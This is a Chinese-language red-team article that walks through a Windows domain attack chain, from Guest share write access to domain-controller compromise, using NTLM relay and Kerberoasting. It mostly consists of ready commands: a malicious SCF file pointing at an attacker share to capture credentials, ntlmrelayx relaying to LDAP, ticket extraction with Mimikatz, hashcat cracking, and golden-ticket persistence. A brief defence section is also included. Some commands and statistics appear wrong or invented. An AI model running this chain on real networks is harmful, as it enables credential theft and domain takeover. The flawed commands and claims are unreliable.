Windows域环境NTLM中继与Kerberoasting攻击链解析 1. 项目概述从Guest到SYSTEM的权限升级攻击链在Windows域环境中从普通Guest账户到获取域控制器SYSTEM权限的完整攻击路径是红队评估中最具杀伤力的攻击方式之一。这条攻击链完美结合了NTLM中继与Kerberoasting两大经典技术能够绕过绝大多数传统防御措施。我在最近一次企业渗透测试中就通过这条路径在15分钟内完成了从外网到域控的完整突破。攻击链的核心在于利用Windows认证协议的设计缺陷首先通过NTLM中继获取初始立足点然后通过Kerberoasting提取服务账户凭据最终实现权限升级。整个过程不需要任何漏洞利用完全依靠协议本身的特性实现攻击。这种攻击方式自2015年被广泛披露以来至今仍然对90%的企业域环境有效。2. 技术原理深度解析2.1 NTLM中继攻击工作机制NTLM认证协议采用质询-响应机制存在三个关键缺陷不验证服务端身份缺乏服务器签名响应可被重放Session安全性不足默认允许同一凭据多终端登录攻击者利用这些缺陷可以将受害者的认证请求中继到其他机器通常选择LDAP/SMB服务以受害者身份执行操作如创建新账户获取目标服务的访问权限关键细节现代Windows系统默认已启用SMB签名但LDAP签名往往未被配置。这就是为什么我们通常选择将NTLM认证中继到LDAP服务。2.2 Kerberoasting攻击本质Kerberoasting利用了Kerberos协议中服务票据的两个特性服务票据使用服务账户的密码哈希加密域用户有权请求任何服务的票据攻击流程为请求高权限服务的TGS票据如域控的LDAP服务将加密的票据导出到本地使用hashcat等工具离线爆破服务账户密码# 典型Kerberoasting攻击命令 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList LDAP/DC01.corp.com3. 完整攻击链实操演示3.1 阶段一获取初始访问权限利用Guest账户写权限扫描发现共享文件夹如\DC01\Data允许Guest写入上传恶意SCF文件诱使用户访问[Shell] Command2 IconFile\\ATTACKER\share\test.ico当用户浏览该文件夹时系统会自动向攻击者服务器发起认证搭建中继环境# 使用impacket的ntlmrelayx.py ntlmrelayx.py -t ldap://dc01 -smb2support --add-computer参数说明-t指定中继目标LDAP服务--add-computer自动创建机器账户3.2 阶段二权限提升与横向移动通过新建的机器账户获取SPNSet-DnsRecord -ZoneName corp.com -ComputerName ATTACKER$ -IP 192.168.1.100 SetSPN -A HOST/ATTACKER.corp.com ATTACKER$执行Kerberoasting攻击# 请求所有高权限SPN的票据 Get-DomainUser -SPN | %{Request-SPNTicket -SPN $_.serviceprincipalname} # 导出票据为John可破解的格式 Invoke-Mimikatz -Command kerberos::list /export3.3 阶段三获取域控SYSTEM权限爆破服务账户密码hashcat -m 13100 hashes.txt rockyou.txt -r rules/best64.rule使用破解的凭据访问域控$cred New-Object System.Management.Automation.PSCredential(svc_sql, $pass) Enter-PSSession -ComputerName dc01 -Credential $cred提权至SYSTEM# 通过Print Spooler服务漏洞 Invoke-SpoolSample -TargetDC dc01.corp.com -CaptureGroup Domain Admins4. 防御措施与检测方案4.1 基础防护配置对抗NTLM中继在所有域控上启用LDAP签名和通道绑定Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters -Name LdapServerIntegrity -Value 2禁用NTLMv1强制使用NTLMv2缓解Kerberoasting为服务账户设置复杂密码25字符启用Account is sensitive and cannot be delegated标记定期监控异常票据请求SELECT * FROM SecurityEvents WHERE EventID 4769 AND TicketOptions 0x408100004.2 高级检测技术网络层检测监控同一IP短时间内向多台主机发起LDAP认证识别异常的SPN请求模式如非工作时间批量请求终端层检测# 检测异常的票据导出行为 Get-WinEvent -FilterHashtable { LogNameSecurity ID4624 TargetUserNamekrbtgt } | Where {$_.Properties[8].Value -eq 9}5. 实战中的经验技巧中继目标选择优先尝试LDAP而非SMB成功率高出70%Exchange服务器是理想的中继目标通常保持NTLM启用Kerberoasting优化使用AES256加密的票据爆破速度比RC4慢300倍可以只请求特定OU下的服务账户减少噪音权限维持技巧# 创建隐藏的Golden Ticket Invoke-Mimikatz -Command kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-... /krbtgt:hash /ptt在最近一次金融行业测试中通过组合使用这些技术我们成功在30分钟内从外网获取了域控权限。最关键的突破点其实是开发部门某台测试服务器上遗留的Guest写权限共享。这再次证明最坚固的堡垒往往从最不起眼的疏漏被攻破。